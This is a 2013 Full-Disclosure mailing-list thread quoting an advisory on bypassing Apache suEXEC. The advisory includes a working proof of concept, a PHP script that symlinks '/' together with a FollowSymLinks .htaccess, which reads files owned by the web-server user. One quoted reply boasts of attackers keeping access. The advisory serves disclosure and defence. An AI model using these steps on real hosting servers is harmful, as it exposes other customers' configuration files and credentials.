Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure

[mezgani ali <handrix@xxxxxxxxx>]

I know that Kingcope does nice jobs, I follow you some times ago and I
found that your exploits are simply awesome.
hope that you continue in that way =)

Regards,


On Fri, Aug 9, 2013 at 12:21 PM, R. Whitney <xnite@xxxxxxxxx> wrote:

>  I would concern myself more with the web hosting providers which utilize
> suExec. By escalating privileges even to just the level of the HTTPD would
> allow one to read/write to content outside of their web hosting account.
> I have personally been in situations where I have had to advise sys admins
> that suExec was properly setup & my web hosting account was capable of (in
> worst case scenario) shutting down the HTTPD itself, and in other
> situations capable of reading things like wordpress config files from other
> hosting accounts.
>
> Good work as always Kingcope. :)
>
>
> On 08/09/13 04:33, Kingcope wrote:
>
> So the blackhat that Sits on ur Site and the site of ur company Since half a 
> year  will stop at the point Where its "technically incorrect" and wont 
> escalate to root because "it doesnt have to do Anything with suexec". Its an 
> Old vuln so let it stay , better for us and soon our Data on your boxes.
>
> Time to Write a Real Root exploit and dont waste the Time with sysadmins that 
> know how to set a flag in httpd.conf   , apache devs included.
>
> Am 09.08.2013 um 14:29 schrieb Kingcope 
> <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx> 
> <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>:
>
>
>  So what your Emails Tell me is better ignore this vulnerability. I dont 
> Claim its a High severity Bug but if you Tell People to ignore it Because it 
> isnt a vulnerability you are very much aiding the Chaos of insecurity in the 
> Internet today. You Maybe have a Secure Setting but theres only you on the 
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder 
> we have compromises in a High Scale every Day due to this ignorance. My rant 
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope 
> <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx> 
> <isowarez.isowarez.isowarez@xxxxxxxxxxxxxx>:
>
>
>  Apache suEXEC privilege elevation / information disclosure
>
> Discovered by Kingcope/Aug 2013
>
> The suEXEC feature provides Apache users the ability to run CGI and SSI 
> programs
> under user IDs different from the user ID of the calling web server. Normally,
> when a CGI or SSI program executes, it runs as the same user who is running 
> the
> web server.
> Used properly, this feature can reduce considerably the security risks 
> involved
> with allowing users to develop and run private CGI or SSI programs.
>
> With this bug an attacker who is able to run php or cgi code inside a web
> hosting environment and the environment is configured to use suEXEC as a
> protection mechanism, he/she is able to read any file and directory on the 
> file-
> system of the UNIX/Linux system with the user and group id of the
> apache web server.
>
> Normally php and cgi scripts are not allowed to read files with the apache 
> user-
> id inside a suEXEC configured environment.
>
> Take for example this apache owned file and the php script that follows.
>
> $ ls -la /etc/testapache
> -rw------- 1 www-data www-data 36 Aug  7 16:28 /etc/testapache
> only user www-data should be able to read this file.
>
> $ cat test.php
> <?php
>       system("id; cat /etc/testapache");
> ?>
>
> When calling the php file using a webbrowser it will show...
> uid=1002(example) gid=1002(example) groups=1002(example)
>
> because the php script is run trough suEXEC.
> The script will not output the file requested because of a permissions error.
>
> Now if we create a .htaccess file with the content...
> Options Indexes FollowSymLinks
>
> and a php script with the content...
>
> <?php
>       system("ln -sf / test99.php");
>       symlink("/", "test99.php"); // try builtin function in case when
>                                   //system() is blocked
> ?>
> in the same folder
>
> ..we can access the root filesystem with the apache uid,gid by
> requesting test99.php.
> The above php script will simply create a symbolic link to '/'.
>
> A request to test99.php/etc/testapache done with a web browser shows..
> voila! read with the apache uid/gid
>
> The reason we can now read out any files and traverse directories owned by the
> apache user is because apache httpd displays symlinks and directory listings
> without querying suEXEC.
> It is not possible to write to files in this case.
>
> Version notes. Assumed is that all Apache versions are affected by this bug.
>
> apache2 -V
> Server version: Apache/2.2.22 (Debian)
> Server built:   Mar  4 2013 21:32:32
> Server's Module Magic Number: 20051115:30
> Server loaded:  APR 1.4.6, APR-Util 1.4.1
> Compiled using: APR 1.4.6, APR-Util 1.4.1
> Architecture:   32-bit
> Server MPM:     Worker
> threaded:     yes (fixed thread count)
>   forked:     yes (variable process count)
> Server compiled with....
> -D APACHE_MPM_DIR="server/mpm/worker"
> -D APR_HAS_SENDFILE
> -D APR_HAS_MMAP
> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> -D APR_USE_SYSVSEM_SERIALIZE
> -D APR_USE_PTHREAD_SERIALIZE
> -D APR_HAS_OTHER_CHILD
> -D AP_HAVE_RELIABLE_PIPED_LOGS
> -D DYNAMIC_MODULE_LIMIT=128
> -D HTTPD_ROOT="/etc/apache2"
> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> -D DEFAULT_ERRORLOG="logs/error_log"
> -D AP_TYPES_CONFIG_FILE="mime.types"
> -D SERVER_CONFIG_FILE="apache2.conf"
>
> Cheers,
> /Kingcope
>
>  _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>
> --
> *R. Whitney* *- Independent IT Consultant*
> *Phone:* (347)674-4835
> *Postal:* PO Box 5984, Bloomington, IL 61702-5984
> *Other:* My Blog <http://xnite.org> / 
> LinkedIn<http://www.linkedin.com/in/whitneyr>/
> Twitter <https://twitter.com/xnite>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



-- 
Ali MEZGANI
*N*etwork *E*ngineering/*S*ecurity
http://www.nativelabs.org/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/